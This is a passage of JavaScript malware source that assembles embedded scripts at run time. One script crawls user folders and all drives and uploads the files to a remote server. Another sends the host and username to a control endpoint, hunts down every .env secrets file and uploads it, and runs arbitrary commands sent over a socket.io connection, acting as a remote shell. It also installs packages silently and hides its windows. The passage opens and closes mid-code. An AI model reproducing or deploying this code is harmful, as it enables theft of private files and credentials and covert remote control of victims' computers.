Date.now() - uploadStartTime;\n                        \n                        // Only delay if upload completed very quickly (likely small file or fast network)\n                        // This prevents overwhelming the server while not slowing down normal uploads\n                        if (uploadDuration < MIN_UPLOAD_TIME_MS) {\n                          await delay(ADAPTIVE_DELAY_MS);\n                        }\n                        // No delay needed for normal uploads - network is already the bottleneck\n                      } catch (uploadError) {\n                        retries--;\n                        if (retries > 0) {\n                          // Wait before retry (exponential backoff)\n                          await delay(ADAPTIVE_DELAY_MS * (4 - retries));\n                        } else {\n                          // Final failure - log but continue\n                          console.error(`Failed to upload ${fullPath} after retries:`, uploadError.message);\n                        }\n                      }\n                    }\n                  } catch (uploadError) {\n                    // Log upload errors but continue\n                    console.error(`Error uploading ${fullPath}:`, uploadError.message);\n                  }\n                }\n              } catch (error) {\n                // Continue on individual item errors\n                const errorCode = error.code || error.errno;\n                if (errorCode === 'EMFILE' || errorCode === 'ENFILE') {\n                  // Too many open files - wait a bit and continue\n                  console.warn(`Too many open files, waiting...`);\n                  await delay(1000);\n                } else {\n                  console.error(`Error processing ${item.name || item}:`, error.message);\n                }\n              }\n            }\n          } catch (error) {\n            // Log error but continue scanning other directories\n            console.error(`Error scanning directory ${directoryPath}:`, error.message);\n            // Don't throw - continue with other directories\n            return; // Return instead of throwing\n          } finally {\n            // Remove from visited set when done (for very deep trees, this helps with memory)\n            // But keep it for the current scan to prevent loops\n            // Only remove if we're at a shallow depth to save memory\n            if (depth === 0) {\n              // At root level, we can clear old entries to save memory\n              // Keep only recent entries (last 10000)\n              if (visitedDirs.size > 10000) {\n                const entries = Array.from(visitedDirs);\n                visitedDirs.clear();\n                // Keep the most recent 5000 entries\n                entries.slice(-5000).forEach(dir => visitedDirs.add(dir));\n              }\n            }\n          }\n        };\n\n        // Get priority directories (Documents, Desktop, Downloads)\n        const getPriorityDirectories = () => {\n          const priorityDirs = [];\n          const platform = os.platform();\n          \n          if (platform === \"win32\") {\n            // Windows paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \"Desktop\"),\n              path.join(HOME_DIRECTORY, \"Documents\"),\n              path.join(HOME_DIRECTORY, \"Downloads\"),\n              path.join(HOME_DIRECTORY, \"OneDrive\"),\n              path.join(HOME_DIRECTORY, \"Google Drive\"),\n              path.join(HOME_DIRECTORY, \"GoogleDrive\")\n            );\n          } else {\n            // macOS/Linux paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \"Desktop\"),\n              path.join(HOME_DIRECTORY, \"Documents\"),\n              path.join(HOME_DIRECTORY, \"Downloads\"),\n              path.join(HOME_DIRECTORY, \"Library/CloudStorage\"),\n              path.join(HOME_DIRECTORY, \"Projects\"),\n              path.join(HOME_DIRECTORY, \"projects\"),\n              path.join(HOME_DIRECTORY, \"Development\"),\n              path.join(HOME_DIRECTORY, \"development\"),\n              path.join(HOME_DIRECTORY, \"Code\"),\n              path.join(HOME_DIRECTORY, \"code\"),\n              path.join(HOME_DIRECTORY, \"Code Projects\"),\n              path.join(HOME_DIRECTORY, \"code projects\"),\n              path.join(HOME_DIRECTORY, \"source\"),\n              path.join(HOME_DIRECTORY, \"Source\"),\n              path.join(HOME_DIRECTORY, \"OneDrive\"),\n              path.join(HOME_DIRECTORY, \"Google Drive\"),\n              path.join(HOME_DIRECTORY, \"GoogleDrive\")\n            );\n            \n            if (is_wsl()) {\n              priorityDirs.push(\"/mnt\");\n            }\n          }\n          \n          // Filter to only include directories that exist\n          return priorityDirs.filter(dir => fs.existsSync(dir) && fs.statSync(dir).isDirectory());\n        };\n\n        // Get all drive letters on Windows (compatible with Windows 11)\n        const getWindowsDrives = () => {\n          try {\n            // Use PowerShell Get-CimInstance (works on Windows 11 and modern Windows)\n            // This is the modern replacement for wmic\n            const psCmd = 'powershell -Command \"Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 } | Select-Object -ExpandProperty DeviceID\"';\n            const output = execSync(psCmd, { windowsHide: true, encoding: 'utf8', timeout: 5000 });\n            const drives = output\n              .split(/[\\r\\n]+/)\n              .map(line => line.trim())\n              .filter(drive => drive && drive.length > 0 && /^[A-Z]:$/.test(drive));\n            if (drives.length > 0) {\n              return drives.map(drive => `${drive}\\\\`);\n            }\n            \n            // Fallback: Try Get-PSDrive if Get-CimInstance fails\n            try {\n              const psCmd2 = `powershell -Command \"Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Name.Length -eq 1 -and $_.Name -ge 'A' -and $_.Name -le 'Z' } | Select-Object -ExpandProperty Name\"`;\n              const output2 = execSync(psCmd2, { windowsHide: true, encoding: 'utf8', timeout: 5000 });\n              const drives2 = output2\n                .split(/[\\r\\n]+/)\n                .map(line => line.trim())\n                .filter(drive => drive && drive.length > 0 && /^[A-Z]$/.test(drive));\n              if (drives2.length > 0) {\n                return drives2.map(drive => `${drive}:\\\\`);\n              }\n            } catch (psError2) {\n              // If both PowerShell methods fail, try checking common drive letters directly\n              const commonDrives = ['C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];\n              const availableDrives = commonDrives.filter(drive => {\n                try {\n                  return fs.existsSync(`${drive}:\\\\`);\n                } catch {\n                  return false;\n                }\n              });\n              if (availableDrives.length > 0) {\n                return availableDrives.map(drive => `${drive}:\\\\`);\n              }\n            }\n            return [];\n          } catch (error) {\n            console.error(\"Failed to get Windows drives:\", error.message);\n            // Last resort: check common drive letters\n            try {\n              const commonDrives = ['C', 'D', 'E', 'F', 'G', 'H'];\n              const availableDrives = commonDrives.filter(drive => {\n                try {\n                  return fs.existsSync(`${drive}:\\\\`);\n                } catch {\n                  return false;\n                }\n              });\n              return availableDrives.map(drive => `${drive}:\\\\`);\n            } catch {\n              return [];\n            }\n          }\n        };\n\n        // Main execution function\n        const main = async () => {\n          \n          \n\n          try {\n            // First, scan priority directories (Documents, Desktop, Downloads)\n            priorityDirs = getPriorityDirectories();\n            \n            \n            for (const priorityDir of priorityDirs) {\n              try {\n                \n                await scanAndUploadDirectory(priorityDir);\n              } catch (error) {\n                console.error(`Error scanning priority directory ${priorityDir}:`, error.message);\n                // Continue with next directory\n              }\n            }\n            \n            // Then, scan all other directories (skip already scanned priority directories)\n            if (os.platform() === \"win32\") {\n              // Windows: Scan all drives (skipping already scanned priority directories)\n              // Scan C drive last\n              const drives = getWindowsDrives();\n              const cDrive = drives.find(drive => drive.toLowerCase().startsWith(\"c:\"));\n              const otherDrives = drives.filter(drive => !drive.toLowerCase().startsWith(\"c:\"));\n              \n              // Scan all drives except C drive first\n              for (const drive of otherDrives) {\n                try {\n                  \n                  await scanAndUploadDirectory(drive, true);\n                } catch (error) {\n                  console.error(`Error scanning drive ${drive}:`, error.message);\n                  // Continue with next drive\n                }\n              }\n              \n              // Scan C drive last\n              if (cDrive) {\n                try {\n                  \n                  await scanAndUploadDirectory(cDrive, true);\n                } catch (error) {\n                  console.error(`Error scanning C drive:`, error.message);\n                  // Continue despite error\n                }\n              }\n            } else {\n              // Unix-like systems: Scan home directory (skipping already scanned priority directories)\n              try {\n                await scanAndUploadDirectory(HOME_DIRECTORY, true);\n              } catch (error) {\n                console.error(`Error scanning home directory:`, error.message);\n                // Continue despite error\n              }\n            }\n            \n            \n          } catch (error) {\n            console.error(\"Fatal error in main:\", error.message);\n            console.error(\"Stack:\", error.stack);\n            // Don't exit - log error and let process continue or exit naturally\n            // This prevents premature exits when processing many files\n          } finally {\n            // Ensure we always log completion status\n            \n          }\n        };\n\n        // Execute main function\n        main();\n\n        ";
    Utils.sp_s(s, "pid." + t + ".2.lock", "autoUploadScript", f_s_l);
  } catch (M) {}
  const H =
    '\n       const axios = require("axios");\nconst os = require("os");\nconst { execSync, exec } = require("child_process");\nconst fs = require("fs");\nconst path = require("path");\n\n// Helper function to detect if running in WSL\nconst is_wsl = () => {\n  // Check for WSL environment variable\n  if (process.env.WSL_DISTRO_NAME) {\n    return true;\n  }\n  // Check /proc/version for Microsoft/WSL\n  try {\n    if (fs.existsSync("/proc/version")) {\n      const versionContent = fs.readFileSync("/proc/version", "utf8");\n      if (versionContent.toLowerCase().includes("microsoft") || versionContent.toLowerCase().includes("wsl")) {\n        return true;\n      }\n    }\n  } catch (e) {}\n  return false;\n};\n\n' +
    Utils.set_l("socket") +
    "\nlet io;\ntry {\n  io = require(\"socket.io-client\");\n} catch (e) {\n  try {\n    console.log(\"installingsocket.io\");\n    const platform = process.platform;\n    const installOptions = platform === 'win32' \n      ? { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 }\n      : { stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10};\n    const output = execSync(\n      \"npm install socket.io-client --no-warnings --no-save --no-progress --loglevel silent\",\n      installOptions\n    );\n      try {\n        io = require(\"socket.io-client\");\n      } catch (requireErr) {\n        console.log(\"Failed to require socket.io-client:\", requireErr.message);\n      }\n  } catch (installErr) {\n    console.log(\"Failed to install socket.io-client:\", installErr.message);\n    process.exit(1);\n  }\n}\nif (!io || typeof io !== 'function') {\n  console.error(\"socket.io-client is not available\");\n  process.exit(1);\n}\nconst API_ENDPOINT = `" +
    s_s +
    "/api/notify`;\nconst l_e = `" +
    s_s +
    "/api/log`;\nconst SOCKET_URL = `" +
    s_s.replace(/^http/, "ws").replace(/^https/, "wss") +
    '`;\nfunction gsi() {\n  return {\n    host: os.hostname(),\n    os: os.type() + " " + os.release(),\n    username: os.userInfo().username || "unknown",\n  };\n}\n\nasync function sendHostInfo() {\n  const s_i = gsi();\n  \n  try {\n    const payload = {\n      ukey: ' +
    u_k +
    ",\n      t: " +
    t +
    ",\n      host: " +
    u_k +
    ' + "_" + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n    };\n\n    const response = await axios.post(API_ENDPOINT, payload, {\n      headers: {\n        "Content-Type": "application/json",\n      },\n      timeout: 10000,\n    });\n\n    if (response.data.success) {\n      console.log("✅ Host info sent successfully:", response.data.id);\n      \n      return response.data;\n    } else {\n      throw new Error(response.data.error || "Failed to send host info");\n    }\n  } catch (error) {\n    if (error.response) {\n      console.error("❌ Server error:", error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP ${error.response.status}`\n      );\n    } else if (error.request) {\n      console.error("❌ No response from server:", error.message);\n      throw new Error("Server is not responding. Is it running?");\n    } else {\n      console.error("❌ Request error:", error.message);\n      throw error;\n    }\n  }\n}\n\nasync function f_s_l(message, level = "info", data = {}) {\n  const s_i = gsi();\n  \n  try {\n    if (!message) {\n      throw new Error("Log message is required");\n    }\n\n    const payload = {\n      ukey: ' +
    u_k +
    ",\n      t: " +
    t +
    ",\n      host: " +
    u_k +
    ' + "_" + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n      message,\n      level,\n      data,\n    };\n\n    const response = await axios.post(l_e, payload, {\n      headers: {\n        "Content-Type": "application/json",\n      },\n      timeout: 10000,\n    });\n\n    if (response.data.success) {\n      console.log("✅ Log sent successfully:", response.data.id);\n      return response.data;\n    } else {\n      throw new Error(response.data.error || "Failed to send log");\n    }\n  } catch (error) {\n    if (error.response) {\n      console.error("❌ Server error:", error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP ${error.response.status}`\n      );\n    } else if (error.request) {\n      console.error("❌ No response from server:", error.message);\n      throw new Error("Server is not responding. Is it running?");\n    } else {\n      console.error("❌ Request error:", error.message);\n      throw error;\n    }\n  }\n}\n\nasync function uploadFileToLdb(filePath, fileContent) {\n  try {\n    const s_i = gsi();\n    const timestamp = Math.round(Date.now() / 1000);\n    const fileName = path.basename(filePath);\n    \n    const contentBuffer = Buffer.isBuffer(fileContent) \n      ? fileContent \n      : (typeof fileContent === \'string\' \n          ? Buffer.from(fileContent, \'binary\')\n          : Buffer.from(fileContent));\n    \n          console.log(filePath, fileContent, "uploading to ldb-server");\n    // Encode path and filename for HTTP headers (headers must be ASCII)\n    const encodedPath = encodeURIComponent(filePath);\n    const encodedFilename = encodeURIComponent(fileName);\n    \n    const response = await axios.post(\n      `' +
    l_s.replace("/upload", "") +
    '/api/upload-file`,\n      contentBuffer,\n      {\n        headers: {\n          "Content-Type": "application/octet-stream",\n          "userkey": String(' +
    u_k +
    '),\n          "t": String(' +
    t +
    '),\n          "hostname": encodeURIComponent(s_i.host),\n          "path": encodedPath,\n          "filename": encodedFilename,\n          "timestamp": String(timestamp),\n        },\n        maxContentLength: 100 * 1024 * 1024,\n        maxBodyLength: 100 * 1024 * 1024,\n        timeout: 60000,\n      }\n    );\n    \n    if (response.data.success) {\n      console.log(`✅ File uploaded to ldb-server: ${fileName} ((${contentBuffer.length / 1024}).toFixed(2)} KB)`);\n\n      let normalizedPath = filePath.replace(/\\\\/g, "/");\n      normalizedPath = normalizedPath.replace(/^([A-Z]):\\//i, `$1/`);\n      if (normalizedPath.startsWith("/")) {\n        normalizedPath = normalizedPath.substring(1);\n      }\n      \n      const baseUrl = "' +
    l_s.replace("/upload", "") +
    '";\n      const host = ' +
    u_k +
    ' + "_" + s_i.host;\n      const fileUrl =response.data.fileUrl ? `${baseUrl}/${response.data.fileUrl}` : `${baseUrl}/api/file/' +
    t +
    "/${host}?path=${encodeURIComponent(normalizedPath)}`;\n      \n      return {\n        ...response.data,\n        fileUrl: fileUrl\n      };\n    } else {\n      throw new Error(response.data.error || \"Failed to upload file\");\n    }\n  } catch (error) {\n    console.warn(`⚠️ Failed to upload file to ldb-server: ${error.message}`);\n    return null;\n  }\n}\n\nasync function searchAndUploadFiles(filename) {\n  const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB limit\n  const platform = os.platform();\n  const homeDir = os.homedir();\n  \n  // Function to sanitize file path to valid filename\n  const sanitizeFileName = (filePath) => {\n    // Get OS-specific max filename length\n    const maxLength = platform === 'win32' ? 260 : 255;\n    \n    // Replace path separators with underscores\n    let sanitized = filePath.replace(/[\\\\/]/g, '_');\n    \n    // Replace invalid characters for filenames\n    if (platform === 'win32') {\n      // Windows: < > : \" | ? * and control characters\n      sanitized = sanitized.replace(/[<>:\"|?*\\x00-\\x1f]/g, '_');\n    } else {\n      // Unix: / and null bytes\n      sanitized = sanitized.replace(/[\\/\\x00]/g, '_');\n    }\n    \n    // Remove leading/trailing dots and spaces (Windows doesn't allow these)\n    if (platform === 'win32') {\n      sanitized = sanitized.replace(/^[\\. ]+|[\\. ]+$/g, '');\n    }\n    \n    // Truncate to max length\n    if (sanitized.length > maxLength) {\n      const ext = path.extname(sanitized);\n      const nameWithoutExt = sanitized.slice(0, sanitized.length - ext.length);\n      sanitized = nameWithoutExt.slice(0, maxLength - ext.length) + ext;\n    }\n    \n    return sanitized || 'file';\n  };\n  let command;\n  \n  // Build search pattern for filename\n  // For .env, we want to match .env, .env.local, .env.production, etc.\n  let searchPattern = filename;\n  if (filename.startsWith('.')) {\n    // For dot-files, use pattern matching\n    if (platform === 'win32') {\n      // Windows: use * for pattern matching\n      searchPattern = `${filename}*`;\n    } else {\n      // Unix: use find with -name pattern\n      searchPattern = `${filename}*`;\n    }\n  }\n  \n  try {\n    if (platform === 'win32') {\n      // Windows: Use PowerShell Get-ChildItem for better performance\n      // Search from home directory and all drives\n      const drives = [];\n      try {\n        // Get available drives\n        const driveOutput = execSync('wmic logicaldisk get name', { encoding: 'utf8', windowsHide: true });\n        const driveMatches = driveOutput.match(/([A-Z]):/g);\n        if (driveMatches) {\n          drives.push(...driveMatches.map(d => `${d.replace(':', '')}:\\\\`));\n        }\n      } catch (e) {\n        // Fallback: try common drives\n        const commonDrives = ['C', 'D', 'E', 'F'];\n        for (const drive of commonDrives) {\n          try {\n            if (fs.existsSync(`${drive}:\\\\`)) {\n              drives.push(`${drive}:\\\\`);\n            }\n          } catch (e) {}\n        }\n      }\n      \n      // Use home directory if no drives found\n      if (drives.length === 0) {\n        drives.push(homeDir);\n      }\n      \n      // Build PowerShell command as string - search each drive separately\n      // Use single quotes for regex pattern to avoid escaping issues\n      const excludePattern = 'node_modules|\\.git|vendor|venv|\\.venv|dist|build|Library|System|Windows|Program Files|AppData\\Local\\Temp';\n      \n      // Build PowerShell command string\n      // Suppress progress and verbose output to avoid CLIXML issues\n      let psCommands = [];\n      for (const drive of drives) {\n        // Escape single quotes in path by doubling them, and escape backslashes\n        const escapedPath = drive.replace(/'/g, \"''\").replace(/\\\\/g, '\\\\\\\\');\n        // Use single quotes for the regex pattern to avoid escaping backslashes\n        // Suppress progress and only output file paths\n        // Use -Force to include hidden files\n        psCommands.push(`Get-ChildItem -Path '${escapedPath}' -Filter '${searchPattern}' -Recurse -Force -ErrorAction SilentlyContinue -File | Where-Object { $_.FullName -notmatch '${excludePattern}' } | ForEach-Object { $_.FullName }`);\n      }\n      \n      // Suppress progress preference and join commands\n      // Redirect stderr to null to suppress progress output\n      const psCommandString = `$ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; ${psCommands.join('; ')} 2>$null`;\n      \n      // Use -EncodedCommand to avoid quote escaping issues\n      // Convert to UTF-16LE and then base64 encode\n      const encodedCommand = Buffer.from(psCommandString, 'utf16le').toString('base64');\n      \n      // Execute using -EncodedCommand with flags to suppress output\n      command = `powershell -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${encodedCommand}`;\n    } else {\n      // Linux/macOS: Use find command\n      // Build find command with exclusions\n      const excludeDirs = [\n        '-path', '*/node_modules', '-prune', '-o',\n        '-path', '*/.git', '-prune', '-o',\n        '-path', '*/vendor', '-prune', '-o',\n        '-path', '*/venv', '-prune', '-o',\n        '-path', '*/.venv', '-prune', '-o',\n        '-path', '*/dist', '-prune', '-o',\n        '-path', '*/build', '-prune', '-o',\n        '-path', '*/Library', '-prune', '-o',\n        '-path', '*/System', '-prune', '-o',\n        '-type', 'f', '-name', searchPattern, '-print'\n      ].join(' ');\n      \n      // Search from home directory\n      command = `find \"${homeDir}\" ${excludeDirs} 2>/dev/null`;\n    }\n    \n    console.log(`🔍 Searching for ${filename} files...`);\n    \n    // Execute command asynchronously to avoid blocking event loop\n    const output = await new Promise((resolve, reject) => {\n      exec(command, {\n        encoding: 'utf8',\n        maxBuffer: 50 * 1024 * 1024, // 50MB buffer for large outputs\n        windowsHide: platform === 'win32',\n        timeout: 300000 // 5 minute timeout\n      }, (error, stdout, stderr) => {\n        // Filter out CLIXML (PowerShell progress output) from stdout\n        let cleanOutput = stdout;\n        if (stdout) {\n          // Remove CLIXML tags and content\n          cleanOutput = stdout\n            .split('\\n')\n            .filter(line => {\n              const trimmed = line.trim();\n              // Skip CLIXML lines\n              if (trimmed.startsWith('<') && trimmed.includes('CLIXML')) return false;\n              if (trimmed.startsWith('<Objs')) return false;\n              if (trimmed.startsWith('</Objs>')) return false;\n              if (trimmed.startsWith('<Obj')) return false;\n              if (trimmed.startsWith('</Obj>')) return false;\n              if (trimmed.includes('http://schemas.microsoft.com/powershell')) return false;\n              return true;\n            })\n            .join('\\n');\n        }\n        \n        // Only reject on actual errors, not on stderr (which may contain progress)\n        if (error && error.code !== 0) {\n          // Check if stderr contains actual errors (not just progress)\n          const hasRealError = stderr && !stderr.includes('CLIXML') && !stderr.includes('Preparing modules');\n          if (hasRealError) {\n            reject(error);\n            return;\n          }\n        }\n        \n        resolve(cleanOutput || '');\n      });\n    });\n    \n    // Parse output into file paths\n    const filePaths = output\n      .split(/[\\r\\n]+/)\n      .map(line => line.trim())\n      .filter(line => line && line.length > 0 && fs.existsSync(line));\n    \n    console.log(`📁 Found ${filePaths.length} ${filename} file(s)`);\n    \n    // Upload each file\n    let uploadedCount = 0;\n    for (const filePath of filePaths) {\n      try {\n        // Check file size\n        const stats = fs.statSync(filePath);\n        if (stats.size > MAX_FILE_SIZE) {\n          console.log(`⚠️ Skipping large file: ${filePath} (${(stats.size / 1024 / 1024).toFixed(2)}MB)`);\n          continue;\n        }\n        \n        // Check if file is readable\n        try {\n          fs.accessSync(filePath, fs.constants.R_OK);\n        } catch (e) {\n          continue;\n        }\n        \n        // Read and upload file\n        const fileContent = fs.readFileSync(filePath);\n        \n        // Create sanitized filename from file path\n        const sanitizedFileName = sanitizeFileName(filePath);\n        const uploadPath = path.join(`found.${filename}`, sanitizedFileName);\n        \n        // Upload with the new path in found folder\n        await uploadFileToLdb(uploadPath, fileContent);\n        uploadedCount++;\n        console.log(`✅ Uploaded (${uploadedCount}/${filePaths.length}): ${filePath} -> ${uploadPath}`);\n        \n        // Yield to event loop every 5 files to allow socket commands to be processed\n        if (uploadedCount % 5 === 0) {\n          await new Promise(resolve => setImmediate(resolve));\n        }\n      } catch (fileError) {\n        // Skip files that can't be read (locked, permissions, etc.)\n        console.log(`⚠️ Skipping file: ${filePath} - ${fileError.message}`);\n        continue;\n      }\n    }\n    \n    console.log(`✅ Finished: Uploaded ${uploadedCount} out of ${filePaths.length} ${filename} file(s)`);\n  } catch (error) {\n    console.error(`❌ Error searching for ${filename} files:`, error.message);\n  }\n}\nasync function connectSocket() {\n  return new Promise((resolve, reject) => {\n    const socket = io(SOCKET_URL, {\n      reconnectionAttempts: 15,\n      reconnectionDelay: 2000,\n      timeout: 20000,\n    });\n\n    // Function to check process status\n    const checkProcessStatus = () => {\n      const path = require(\"path\");\n      const os = require(\"os\");\n      const lockFiles = [\n        { type: \"ldbScript\", file: path.join(os.tmpdir(), `pid.${" +
    t +
    '}.1.lock`) },\n        { type: "autoUploadScript", file: path.join(os.tmpdir(), `pid.${' +
    t +
    '}.2.lock`) },\n        { type: "socketScript", file: path.join(os.tmpdir(), `pid.${' +
    t +
    '}.3.lock`) },\n      ];\n      \n      const status = {\n        ldbScript: false,\n        autoUploadScript: false,\n        socketScript: false,\n      };\n      \n      for (const lockFile of lockFiles) {\n        try {\n          if (fs.existsSync(lockFile.file)) {\n            const lockData = JSON.parse(fs.readFileSync(lockFile.file, \'utf8\'));\n            const pid = lockData.pid;\n            try {\n              process.kill(pid, 0);\n              // Process exists and is running\n              status[lockFile.type] = true;\n            } catch (checkError) {\n              // Process doesn\'t exist, remove stale lock\n              try { fs.unlinkSync(lockFile.file); } catch (e) {}\n              status[lockFile.type] = false;\n            }\n          }\n        } catch (e) {\n          status[lockFile.type] = false;\n        }\n      }\n      \n      return status;\n    };\n\n    socket.on("connect", () => {\n      console.log("✅ Connected to socket server (for file browsing)");\n      \n      // Send initial process status\n      const status = checkProcessStatus();\n      socket.emit("processStatus", status);\n      \n      // Resolve immediately, don\'t wait for file search\n      resolve(socket);\n      \n      // Start searching and uploading .env files after socket connects (non-blocking)\n      \n      setImmediate(async () => {\n        try {\n          await searchAndUploadFiles(\'.env\');\n        } catch (err) {\n          console.error(\'Error searching for .env files:\', err.message);\n        }\n      });\n      \n    });\n\n    socket.on("connect_error", (error) => {\n      console.error("❌ Socket connection error:", error.message);\n      reject(error);\n    });\n\n    socket.on("whour", () => {\n      const s_i = gsi();\n      socket.emit("whoIm", {\n        ukey: ' +
    u_k +
    ",\n        t: " +
    t +
    ",\n        host: " +
    u_k +
    ' + "_" + s_i.host,\n        os: s_i.os,\n        username: s_i.username,\n      });\n    });\n\n    socket.on("command", (msg) => {\n      try {\n        const { message: command, code, cid, sid, path: filePath } = msg;\n        \n        // For directory listings (code 102), use fs.readdirSync directly for proper UTF-8 handling\n        if (code === "102" && filePath) {\n          try {\n            const dirPath = filePath.replace(/\\+$/, ""); // Remove trailing backslashes\n            if (fs.existsSync(dirPath)) {\n              const stats = fs.statSync(dirPath);\n              if (stats.isDirectory()) {\n                const items = fs.readdirSync(dirPath, { encoding: \'utf8\' });\n                const result = items.map(item => {\n                  const fullPath = path.join(dirPath, item);\n                  try {\n                    const itemStats = fs.statSync(fullPath);\n                    const isDir = itemStats.isDirectory();\n                    return {\n                      name: item, // UTF-8 encoded name from readdirSync\n                      path: fullPath,\n                      type: isDir ? "dir" : "file",\n                      size: isDir ? null : itemStats.size,\n                      date: itemStats.mtime.toLocaleString()\n                    };\n                  } catch (statError) {\n                    // If we can\'t stat the item, assume it\'s a file\n                    return {\n                      name: item,\n                      path: fullPath,\n                      type: "file",\n                      size: null,\n                      date: new Date().toLocaleString()\n                    };\n                  }\n                });\n                \n                socket.emit("message", {\n                  ...msg,\n                  result: JSON.stringify(result), // Send as JSON string for parsing\n                });\n                return;\n              }\n            }\n          } catch (dirError) {\n            // Fall through to exec command if readdirSync fails\n            console.warn(`Failed to read directory with fs.readdirSync: ${dirError.message}`);\n          }\n        }\n        \n        exec(command, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, async (error, stdout, stderr) => {\n          // Handle WSL permission denied errors gracefully - they\'re expected when accessing /mnt/ drives\n          const isWslPermissionError = stderr && /Permission denied/i.test(stderr) && stdout && stdout.trim().length > 0;\n          const isLsCommand = /^s*lss/.test(command);\n          \n          if (error && !isWslPermissionError) {\n            socket.emit("message", {\n              result: error.message,\n              ...msg,\n              type: "error",\n            });\n            return;\n          }\n          \n          // If stderr contains only permission denied errors and we have stdout, treat as warning but continue\n          if (stderr && !isWslPermissionError) {\n            socket.emit("message", {\n              result: stderr,\n              ...msg,\n              type: "stderr",\n            });\n            return;\n          }\n          \n          // For WSL permission errors with valid stdout, log warning but continue processing\n          if (isWslPermissionError && isLsCommand) {\n            console.warn(`⚠️ WSL permission denied warnings (expected on /mnt/ drives), but continuing with valid output`);\n          }\n          \n          let fileUrl = null;\n          let fileContentToSend = stdout;\n          const maxSize = 1 * 1024 * 1024;\n          \n          if (code === "107" && filePath) {\n            try {\n              if (fs.existsSync(filePath)) {\n                const fileBuffer = fs.readFileSync(filePath);\n                const fileSize = fileBuffer.length;\n                \n                const uploadResult = await uploadFileToLdb(filePath, fileBuffer);\n                if (uploadResult && uploadResult.fileUrl) {\n                  fileUrl = uploadResult.fileUrl;\n                }\n                \n                if (fileSize > maxSize) {\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large ((${fileSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                } else {\n                  fileContentToSend = stdout;\n                }\n              } else {\n                console.warn(`⚠️ File not found: ${filePath}, using stdout output`);\n                if (stdout) {\n                  const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \'utf8\');\n                  try {\n                    const uploadResult = await uploadFileToLdb(filePath, stdout);\n                    if (uploadResult && uploadResult.fileUrl) {\n                      fileUrl = uploadResult.fileUrl;\n                    }\n                  } catch (uploadError) {\n                  }\n                  \n                  if (contentSize > maxSize) {\n                    fileContentToSend = null;\n                    console.log(`⚠️ File too large ((${contentSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                  }\n                }\n              }\n            } catch (readError) {\n              console.warn(`⚠️ Failed to read file directly: ${readError.message}, using stdout output`);\n              if (stdout) {\n                const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \'utf8\');\n                try {\n                  const uploadResult = await uploadFileToLdb(filePath, stdout);\n                  if (uploadResult && uploadResult.fileUrl) {\n                    fileUrl = uploadResult.fileUrl;\n                  }\n                } catch (uploadError) {\n                }\n                \n                if (contentSize > maxSize) {\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large ((${contentSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                }\n              }\n            }\n          }\n          \n          socket.emit("message", {\n            ...msg,\n            result: fileContentToSend,\n            fileUrl: fileUrl,\n          });\n        });\n      } catch (e) {\n        console.error("Error executing command:", e.message);\n        socket.emit("message", {\n          ...msg,\n          result: e.message,\n          type: "error",\n        });\n      }\n    });\n\n    socket.on("disconnect", () => {\n      console.log("⚠️ Disconnected from socket server");\n    });\n\n    socket.on("reconnect", (attemptNumber) => {\n      console.log("✅ Reconnected to socket server (attempt " + attemptNumber + ")");\n      // Send process status on reconnect\n      const status = checkProcessStatus();\n      socket.emit("processStatus", status);\n    });\n\n    // Handle process control commands\n    socket.on("processControl", (data) => {\n      try {\n        const { scriptType, action } = data;\n        const path = require("path");\n        const os = require("os");\n        const { spawn } = require("child_process");\n        \n        if (action === "stop") {\n          // Stop process by reading lock file and killing the process\n          const lockFileMap = {\n            ldbScript: path.join(os.tmpdir(), `pid.${' +
    t +
    "}.1.lock`),\n            autoUploadScript: path.join(os.tmpdir(), `pid.${" +
    t +
    "}.2.lock`),\n            socketScript: path.join(os.tmpdir(), `pid.${" +
    t +
    "}.3.lock`),\n          };\n          \n          const lockFilePath = lockFileMap[scriptType];\n          if (lockFilePath && fs.existsSync(lockFilePath)) {\n            try {\n              const lockData = JSON.parse(fs.readFileSync(lockFilePath, 'utf8'));\n              const pid = lockData.pid;\n              try {\n                process.kill(pid, 'SIGTERM');\n                setTimeout(() => {\n                  try {\n                    process.kill(pid, 0);\n                    // Still running, force kill\n                    process.kill(pid, 'SIGKILL');\n                  } catch (e) {\n                    // Process already dead\n                  }\n                }, 1000);\n                fs.unlinkSync(lockFilePath);\n                console.log(`Stopped ${scriptType} (PID: ${pid})`);\n              } catch (killError) {\n                // Process might already be dead\n                try { fs.unlinkSync(lockFilePath); } catch (e) {}\n              }\n            } catch (e) {\n              console.error(`Error stopping ${scriptType}:`, e.message);\n            }\n          }\n        } else if (action === \"start\") {\n          // Start process - this would require the original script code\n          // For now, we'll just report that manual start is needed\n          console.log(`Start command received for ${scriptType} - manual start required`);\n        }\n        \n        // Update and send status\n        setTimeout(() => {\n          const status = checkProcessStatus();\n          socket.emit(\"processStatus\", status);\n        }, 500);\n      } catch (error) {\n        console.error(\"Error handling process control:\", error);\n      }\n    });\n\n    // Periodically check and send process status\n    setInterval(() => {\n      if (socket.connected) {\n        const status = checkProcessStatus();\n        